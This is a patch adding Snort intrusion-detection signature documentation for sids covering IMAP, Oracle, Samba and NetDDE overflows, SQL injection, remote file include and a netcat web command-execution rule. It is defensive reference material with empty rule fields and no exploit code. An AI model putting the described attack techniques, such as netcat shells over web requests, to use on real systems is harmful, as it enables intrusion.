+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3070.txt
+++ snort-2.8.5.2/doc/signatures/3070.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+3070
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the several commands of an IMAP service. This
+event is concerned with data supplied as a parameter to the
+"fetch" command.
+
+--
+Impact:
+A successful attack may cause a denial of service or a buffer overflow
+and the subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Detailed Information:
+This event is generated when excess data is detected in an IMAP command.
+Some IMAP implementations exhibit programming errors that can lead to a
+buffer overflow condition when excess data is supplied to a static
+buffer.
+
+A vulnerability exists in the way that the Mercury Mail IMAP service
+handles several commands.  An excessively long command argument can
+trigger a denial of service or a buffer overflow and the subsequent
+execution of arbitrary code on a vulnerable server.
+
+--
+Affected Systems:
+	Pegasus Mail Mercury Mail Transport System 3.32
+	Pegasus Mail Mercury Mail Transport System 4.01a
+
+--
+Attack Scenarios:
+An attacker can supplied an overly long command, causing denial of
+service or a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell<bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1360.txt
+++ snort-2.8.5.2/doc/signatures/1360.txt
@@ -0,0 +1,57 @@
+Rule: 
+
+--
+Sid: 1360
+
+-- 
+Summary:
+A web command execution attack involving the use of a
+"netcat" command
+
+-- 
+Impact: 
+Possible intelligence gathering activity or an attempt to gain elevated privileges on the server by using netcat to open another connection.
+
+-- 
+Detailed Information: 
+The attacker may have gained the ability to execute system commands remotely or the web server may be incorrectly configured to allow such access.
+
+This rule generates an event when a "netcat" command is used over a plain-text (unencrypted) connection on one of the specified web ports to the target web server. The "netcat" command may be used establish an interactive shell session to the machine and also transfer files over the connection.
+
+The rule looks for the "netcat" command in the client to web server network traffic and does not indicate whether the command was actually successful. The presence of the "netcat" command in the URI indicates that an attacker attempted to trick the web server into executing system in non-interactive mode i.e. without a valid shell session.
+
+Alternatively this rule may generate an event in an unencrypted HTTP tunneling connection to the server or a shell connection via another exploit against the web server.
+
+-- 
+Attack Scenarios: 
+An attacker uses a "netcat" command to move a rootkit to the system.
+
+--
+Ease of Attack: 
+Simple. No exploit software required
+
+-- 
+False Positives: 
+Any string containing 'nc' followed by space in the URL will trigger the alarm.
+
+--
+False Negatives: 
+none known
+
+-- 
+Corrective Action: 
+Check the web server software for vulnerabilities and possible upgrades or patches for the system to the latest version of the web software, also investigate the server logs for signs of compromise
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. Disallowing execution of this binary via a URI is suggested.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1996.txt
+++ snort-2.8.5.2/doc/signatures/1996.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1996
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000745.txt
+++ snort-2.8.5.2/doc/signatures/100000745.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000745
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Diesel Joke Site" application running on a webserver. Access to the file "category.php" with SQL commands being passed as the "id" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "id" parameter in the "category.php" script used by the "Diesel Joke Site" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Diesel Joke Site
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1200.txt
+++ snort-2.8.5.2/doc/signatures/1200.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+1200
+
+--
+Summary:
+This event is generated when an invalid URL response is sent from a
+webserver to a client.
+
+--
+Impact:
+Information gathering and possible Denial of Service (DoS).
+
+--
+Detailed Information:
+This event is generated when an invalid URL response is sent from a
+webserver to a client. It is possible under some circumstances, to cause
+a DoS condition by supplying an invalid URL to a web server running an
+affected version of Microsoft IIS 4.0. Certain invalid URLs can cause
+the system to make an invalid memory request that will in turn stop the
+IIS service from running.
+
+--
+Affected Systems:
+	Microsoft IIS 4.0 on NT systems
+	
+--
+Attack Scenarios:
+The attacker would merely need to make a web request using an invalid
+URL.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade the system to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2646.txt
+++ snort-2.8.5.2/doc/signatures/2646.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2646
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "instantiate_offline" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "refresh_template_name"
+variable to cause the overflow. The result could permit the attacker
+to gain escalated privileges and run code of their choosing. This
+attack requires an attacker to logon to the database with a valid
+username and password combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck630.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/591.txt
+++ snort-2.8.5.2/doc/signatures/591.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+591
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) ypupdated is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port ypupdated is using.  Attackers can also learn what versions of the ypupdated protocol are accepted by ypupdated.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as ypupdated run.  The ypupdated RPC service allows clients to update maps for Network Information Service (NIS), formerly known as Sun Yellow Pages.  A vulnerability exists with improper validation associated with the 'make' command used to update changes, allowing the execution of arbitrary commands as root.  
+
+--
+Affected Systems:
+HP HP-UX 10.1, 10.10, 10.20
+IBM AIX 3.2, 4.1
+NEC EWS-UX/V, UP-UX/V 
+SGI IRIX 3.2, 3.3, 3.3.1, 3.3.2, 3.3.3, 4.0, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.0.5, 5.0, 5.0.1, 5.1, 5.1.1, 5.2, 5.3, 6.0.1
+Sun SunOS 4.1, 4.1.1, 4.1.2, 4.1.3, 4.1.4
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where ypupdated runs.  This may be a precursor to accessing ypupdated.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access ypupdated, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for ypupdated, not probes of the ypupdated service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the ypupdated service itself. An attacker may attempt to go directly to the ypupdated port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/1749
+
+CERT
+http://www.cert.org/advisories/CA-1995-17.html
+
+Arachnids 
+http://www.whitehats.com/info/IDS125
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1716.txt
+++ snort-2.8.5.2/doc/signatures/1716.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1716
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3040.txt
+++ snort-2.8.5.2/doc/signatures/3040.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3040
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2960.txt
+++ snort-2.8.5.2/doc/signatures/2960.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2960
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2876.txt
+++ snort-2.8.5.2/doc/signatures/2876.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2876
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_priority_varchar2
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1085.txt
+++ snort-2.8.5.2/doc/signatures/1085.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1085
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000468.txt
+++ snort-2.8.5.2/doc/signatures/100000468.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+100000468
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "WebprojectDB" application running on a webserver. 
+Access to the file "lang.php" using a remote file being passed as the "INCDIR" 
+parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "INCDIR" parameter in the "lang.php" script used by the 
+"WebprojectDB" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using WebprojectDB
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2528.txt
+++ snort-2.8.5.2/doc/signatures/2528.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2528
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of the Private
+Communications Transport (PCT) protocol.
+
+--
+Impact:
+Execution of arbitrary code. Unauthorized administrative access to an
+affected host.
+
+--
+Detailed Information:
+A vulnerability exists in the handling of PCT requests that
+can be manipulated to give an attacker the opportunity to execute
+arbitrary code of their choosing leading to a possible remote
+administrative compromize of an affected host.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003 and XP systems using PCT
+
+--
+Attack Scenarios:
+An attcker needs to make a specially crafted PCT request to an affected system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the use of PCT
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/408.txt
+++ snort-2.8.5.2/doc/signatures/408.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+408
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP Echo Reply in response to an ICMP Echo Request message.
+
+--
+
+Impact:
+Information-gathering.  An ICMP Echo Reply message is sent in response to an ICMP REcho Request message.  If the ICMP Echo Reply message reaches the requesting host it indicates that the replying host is alive.
+
+--
+
+Detailed Information:
+ICMP Type 0 Code 0 is the RFC defined messaging type for ICMP Echo Reply datagrams.  This type of message is used to determine if a host is active on the network.
+
+--
+
+Attack Scenarios:
+A remote attacker may use ICMP Echo Request datagrams to determine active hosts on the network in prelude of further attacks.
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Use ingress filtering to prevent ICMP Type 0 Code 8 messages from entering the network.
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2901.txt
+++ snort-2.8.5.2/doc/signatures/2901.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2901
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure register_statistics
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2873.txt
+++ snort-2.8.5.2/doc/signatures/2873.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2873
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_priority_nvarchar2
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2736.txt
+++ snort-2.8.5.2/doc/signatures/2736.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2736
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_priority_date
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1467.txt
+++ snort-2.8.5.2/doc/signatures/1467.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1467
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
